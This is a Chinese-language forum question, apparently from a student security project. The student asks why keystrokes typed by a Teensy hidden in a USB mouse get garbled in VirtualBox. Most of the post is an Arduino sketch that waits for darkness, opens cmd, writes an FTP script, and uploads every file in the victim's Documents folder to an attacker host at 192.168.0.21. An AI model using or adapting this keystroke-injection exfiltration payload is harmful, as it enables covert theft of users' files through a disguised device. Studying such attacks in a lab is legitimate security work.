我有一个关于安全的学校项目。我的工作是定制一个带有 USB 集线器的硬件鼠标和一个 teensy 来对其进行编程。
teensy 上的代码在天黑时被执行(光敏电阻)。该代码在 win7 vm 上获取一些文件并将它们上传到托管在 kali vm 上的 Apache2 服务器(通过 win7 vm 中的 cmd 命令)。在 vmware 中一切正常,但我必须为我的项目使用 virtualbox。
我现在的问题是,在 virtualbox 中,cmd 命令会随机更改,例如:一些字母从小写变为大写,导致路径错误,因此无法找到文件,或者有时缺少反斜杠,这也会导致路径错误。
就像我说它只在 virtualbox 中,在 vmware 中我的整个项目工作得非常好,所以我不认为它是硬件问题
我使用最新的 virtualbox 版本 5.0.12
这是(不是实际的)我的小脚本样本
CommandAtRunBarMSWIN("cmd");
delay(1500);
Keyboard.println("echo cd upload > C:\\Users\\user\\Documents\\ftp.txt");
delay(50);
Keyboard.println("echo mkdir %date%-%username% >> C:\\Users\\user\\Documents\\ftp.txt");
delay(50);
Keyboard.println("echo cd %date%-%username% >> C:\\Users\\user\\Documents\\ftp.txt");
delay(50);
Keyboard.println("echo prompt off >> C:\\Users\\user\\Documents\\ftp.txt");
delay(50);
Keyboard.println("echo mput C:\\Users\\user\\Documents\\*.* >> C:\\Users\\user\\Documents\\ftp.txt");
delay(50);
Keyboard.println("echo cd upload > \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
delay(50);
Keyboard.println("echo mkdir %date%-%username% >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
delay(50);
Keyboard.println("echo cd %date%-%username% >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
delay(50);
Keyboard.println("echo prompt off >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
delay(50);
Keyboard.println("echo mput \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\*.*\" >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
delay(50);
Keyboard.println("ftp -A -s:C:\\Users\\user\\Documents\\ftp.txt 192.168.0.21");
delay(3000);
Keyboard.println("bye");
delay(300);
Keyboard.println("ftp -A -s:\"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\" 192.168.0.21");
delay(3000);
Keyboard.println("bye");
delay(300);
Keyboard.println("exit");